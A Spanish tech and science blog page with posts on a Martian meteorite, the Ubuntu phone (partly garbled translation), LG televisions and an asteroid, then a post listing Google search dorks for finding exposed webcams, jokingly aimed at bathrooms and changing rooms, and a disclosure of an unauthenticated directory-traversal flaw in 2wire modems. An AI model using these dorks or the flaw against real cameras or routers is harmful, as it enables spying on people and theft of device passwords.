Publicado el 22 de mar de 2011 1:55 pm

Un Meteorito que vino de Marte es único en su género

 

Una pequeña roca de color negro encontrada en el desierto de Marruecos en el 2011 esta causando sensación entre los científicos ya que según sus investigaciones, este representa un nuevo tipo de meteorito proveniente de Marte.

Black Beauty o “Belleza Negra” como le dicen de cariño (oficialmente Northwest Africa 7034) es una roca que pesa apenas 320 gramos cuya química y textura son completamente te diferentes a cualquier otro objeto que se haya recogido de la superficie marciana. Según los in investigadores Belleza Negra tiene 2,000 millones de años de antigüedad y, aunque comparte características con otros meteoritos del mismo planeta, tiene algunas características que la hacen única.

Una de estas características es la cantidad de agua que se encontró, cerca de 6,000 partes por millón, esto es 10 veces más agua de la que se ha encontrado en cualquier otra muestra “rica en agua”.

Carl Agee, líder del grupo de científicos de la Universidad de Nuevo México a cargo del estudio de este meteorito, comenta que todos los tipos de meteoros del planeta rojo caen en una de tres categorías: Shergotty, Nakhla y Chassigny pero, para Belleza Negra se tendrá que crear una categoría nueva.

Northwest Africa 7034 ayuda a reforzar la teoría de que Marte, en algún punto de su existencia pudo haber sido más cálido, húmedo e incluso pudo haber albergado vida.

Fuente

Ubuntu para Celulares !!

 Un teléfono Ubuntu-powered ha sido presentado por Mark Shuttleworth en Londres, hace unos días.

Llamar al producto en marcha un "paso significativo en nuestra historia", Shuttleworth hizo una demostración del dispositivo y habló de Canonical planes para trasladar el dispositivo de un mercado ya saturado móvil.

Y la interfaz del sistema operativo es, posiblemente más de la marca detrás de él, va a impulsar la adopción.

La entrega de un servicio personalizado completo la pantalla y la pantalla de la experiencia - con una "pantalla de bienvenida, no un bloqueo de pantalla" - las profiere Teléfono Ubuntu más espacio de pantalla para las aplicaciones que cualquier otro sistema operativo móvil ", dice Shuttleworth.

"También invitamos a una manera de utilizar una aplicación sin tener que usar los botones en absoluto a través de un control de voz" HUD ".

Disponibilidad

Así que cuando puedo conseguir uno? Lamentablemente todavía no. Aunque las conversaciones se llevan a cabo los principales proveedores no ha firmado aún por el envío del dispositivo.

Pero hay esperanza.

Canonical son 'seguros' en un importante fabricante enviará Ubuntu para Android este año, que será el primer paso. Pero los primeros dispositivos puros Teléfono Ubuntu aparecerá hacia el final del año.

El dispositivo aparecerá a finales de este mes en el evento CES.

Teléfonos de gama baja

A diferencia de Android, Ubuntu Phone OS ha sido diseñado desde el principio para ofrecer una 'brillantes y nítidas " experiencia en dispositivos de baja potencia - un segmento de mercado Shuttleworth ve como clave para la adopción.

Estos usuarios de 'smartphones arranque "voluntad, él dice se benefician de una mezcla más pobre, la experiencia del usuario" menos complejo "que sus rivales - algo que muchos mercados emergentes están llamando a.

La mitad del Reino Unido, dijo a los smartphones propios, Canonical será la esperanza de hacerse un hueco en un mercado ya establecido.

Especificaciones

Aunque Canonical «mercado primario será la venta al por menor a través de los teléfonos de Ubuntu, los usuarios podrán descargar e instalar el sistema operativo móvil en teléfonos dispositivo determinado.

Las especificaciones requeridas por el sistema operativo varía entre el "pobre" y el extremo "alto". Un básico procesador ARM A9 y teléfono RAM 1GB ejecutar el sistema operativo en su 'lean' modo.

Un quad-core procesador A9 se requiere para ejecutar el teléfono en su super-duper modo de escritorio acoplable.

Devs

Suite de desarrollo móvil estará disponible a finales de esta semana. Los desarrolladores serán capaces de crear una aplicación, con interfaces twi: una interfaz de usuario de teléfono inteligente, y, cuando se acopla, una interfaz de usuario de escritorio.

Característica fluencia

Tal vez la parte más emocionante de todo el anuncio es que muchas de las innovaciones que se muestran apagado como parte de la interfaz del teléfono estará haciendo una aparición en el próximo lanzamiento de Ubuntu 13.04 - incluidos los cambios en el guión, el HUD controlado por voz, y una marco "decisiones rápidas" nuevos.

Como sería el diseño de #Ubuntu para celulares? http://www.ubuntu.com/devices/phone/design

Por qué #Ubuntu para celulares? https://www.youtube.com/watch?v=cpWHJDLsqTU

Lanzamiento



Fuente

LG anuncia la muerte de sus tecnologías LCD y Plasma


El CES 2013 está en marcha y con ello muchas novedades en el mundo de la tecnología de consumo, LG acaba de hacer un anuncio interesante junto con el nuevo Lineup de su línea de televisores. Destaca que dejarán atrás tecnologías anteriores como el LCD y el Plasma para enfocarse únicamente en desarrollar productos con tecnología LED y OLED. Dentro de las principales televisiones LG que veremos durante este 2013 está la ganadora del premio 'Best of Innovations' del CEA, la LG 84LM9600 que cuenta con resolución 4K o Ultra HD, la tan esperada televisión OLED de 55 pulgadas y un proyector llamado Hecto Laser TV que tiene la capacidad de reproducir una imagen de hasta 100 pulgadas.

LG remarcó que sería la primera compañía en poner a disposición de los consumidores la nueva tecnología Ultra HD poniendo como fecha de entrega el mes de agosto de este año. Como es de esperarse, los precios de estos nuevos productos son altísimos, pero a cambio tendrías en tu sala una televisión con la capacidad de mostrarte contenidos en la más alta definición posible. El modelo LG TV OLED 55" costará $12.000 USD, la TV de 84" 4K rondará los $19,999 USD.

Havis Kwon, Presidente y CEO de LG Electronics Company Home Entertainment anuncia la producción de TVs más pequeñas y accesibles con tecnología 4k.

Responder:
LG continúa liderando el camino en el segmento Ultra HD TV, en respuesta a la demanda esperada para una gama de tamaños de pantalla añadimos los modelos de 55 - y 65 pulgadas modelo a su línea Ultra HD TV de alta definición.
De los modelos de 55 y 64 pulgadas no especificaron el precio aún. Sobre el proyector Hecto Laser TV aún no hay fecha de lanzamiento ni precio, pero es uno de los productos más interesantes que presentó LG. Puede proyectar una pantalla de 100 pulgadas a tan solo 55 centímetros de distancia, tiene todas las capacidades de un Smart Tv y tiene un funcionamiento de 25000 horas. Queda claro que la tendencia va hacia la alta definición y las televisiones conectadas a internet, dejando un poco atrás la tecnología 3D.

Por Felipe Oliveros

Otro 2012 pero a corto plazo según CNN

Un asteroide pasará entre la Tierra y la Luna en febrero

(CNN) – Un asteroide pasará relativamente cerca a la Tierra el próximo 15 de febrero. Tanto, que transitará entre nuestro planeta y la Luna y estará mucho más próximo que incluso algunos satélites de telecomunicaciones en órbita.
El asteroide, que fue detectado por la Agencia Espacial Europea en marzo pasado, pasará a sólo 22.000 kilómetros del globo. La distancia de la Tierra a la Luna es de alrededor de 384.000 kilómetros.

“Pasará muy cerca pero no va a impactar la Tierra, eso lo sabemos. Va a pasar por la órbita de nuestros satélites, los que toman imágenes meteorológicas y los de GPS, pero es poco probable que choque contra ellos”, dijo Chad Myers, experto climático de CNN.
El asteroide, llamado 2012 DA14, tiene alrededor de 50 metros de diámetro y según Myers no será lo suficientemente brillante para que pueda verse en el cielo sin ayuda aparatos.
Los científicos aún no tienen certeza el efecto que la gravedad de la Tierra tendrá en la trayectoria del asteroide.


Publicado por:
Archivado en: Ciencia y Espacio

lunes, 7 de enero de 2013

Algunos google dorks para espiar cámaras web en Internet

El otro día afinando una búsqueda y al comenzar a teclear 'inurl' Google autocompletó 'inurl view index shtml baños'...  uno de los clásicos dorks para buscar cámaras web y ya de paso, y por qué no, que sea en unos baños...  "Tienes alguna de algún cambiador de ropa de zara o de algún baño femenino?" 


XD ..  pero...  ¡desde cuando se instalan cámaras en baños o cambiadores de tiendas de ropa!. Lo cierto es que si juntamos el innato voyeurismo humano con el deseo inherente de encontrarnos alguna escena tipo Porky's, miles de cámaras en Internet nos brindan la posibilidad de asomarnos por ese agujerito indiscreto. 

 


Ya sea por fallos en el software de las cámaras o por carencias en la configuración, es tan sencillo acceder a ellas como introducir unas simples búsquedas en San Google (no tan santo a veces):

* inurl:”CgiStart?page=”
* inurl:/view.shtml
* intitle:”Live View / – AXIS
* inurl:view/view.shtml
* inurl:ViewerFrame?Mode=
* inurl:ViewerFrame?Mode=Refresh

* inurl:axis-cgi/jpg
* inurl:axis-cgi/mjpg (motion-JPEG) (disconnected)
* inurl:view/indexFrame.shtml
* inurl:view/index.shtml
* inurl:view/view.shtml
* liveapplet
* intitle:”live view” intitle:axis
* intitle:liveapplet
* allintitle:”Network Camera NetworkCamera” (disconnected)
* intitle:axis intitle:”video server”
* intitle:liveapplet inurl:LvAppl
* intitle:”EvoCam” inurl:”webcam.html”
* intitle:”Live NetSnap Cam-Server feed”
* intitle:”Live View / – AXIS”
* intitle:”Live View / – AXIS 206M”
* intitle:”Live View / – AXIS 206W”
* intitle:”Live View / – AXIS 210?
* inurl:indexFrame.shtml Axis
* inurl:”MultiCameraFrame?Mode=Motion” (disconnected)
* intitle:start inurl:cgistart
* intitle:”WJ-NT104 Main Page”
* intitle:snc-z20 inurl:home/
* intitle:snc-cs3 inurl:home/
* intitle:snc-rz30 inurl:home/
* intitle:”sony network camera snc-p1?
* intitle:”sony network camera snc-m1?
* site:.viewnetcam.com -www.viewnetcam.com
* intitle:”Toshiba Network Camera” user login
* intitle:”netcam live image” (disconnected)
* intitle:”i-Catcher Console – Web Monitor”
* inurl :indexFrame.shtml "Axis Video Server"
* "MOBOTIX M1" and "open menu"
* intitle :flexwatch intext :"Copyright by Seyeon TECH Co"
* “my webcamXP server!”

Por último decir que también existen páginas web que nos "mapean" estas puertas hacia la curiosidad, algunas abiertas, como World in cams o Fisgonia, e incluso hace poco el Maligno creó una cuenta en Twitter para seguir en tiempo real el descubrimiento de nuevas cámaras TrendNet vulnerables...  :O




Fuente

domingo, 6 de enero de 2013

Directory Traversal en módems 2wire 4011G y 5012NV

Recientemente acabo de leer una entrada en la Comunidad Underground de México en la que avisan de una interesante vulnerabilidad de directory traversal en los módems 2wire 4011G y 5012NV, unos de los más populares del país distribuidos por Telmex y otros ISPs y cuyos modelos anteriores ya adolecieron de algunas otras vulnerabilidades importantes como CSRF y DoS.

La vulnerabilidad de la que hablamos ahora fue descubierta por Abraham Díaz en septiembre de 2012 que, tras intentar avisar al fabricante y al ISP y después de no recibir respuesta, decidió publicarla el 31 de diciembre.

El problema está en el formulario de inicio de sesión del portal de configuración por http de estos módems, específicamente en el control oculto llamado __ENH_ERROR_REDIRECT_PATH__ que no es validado correctamente en el servidor. Un atacante sin autenticación puede manipular su valor para obtener del dispositivo archivos con contraseñas de fábrica en texto plano, configuraciones, etc.

Los dispositivos afectados son:


2wire 4011G-001 con firmware <= 9.1.1.16
2wire 5012NV-002 con firmware <= 9.3.1.29


Posiblemente otros con firmware 9.x.x.x 

 
El autor también facilita un script para nmap (http-2wire-dtvuln.zip) que ayuda a identificar al objetivo e intenta obtener varios archivos: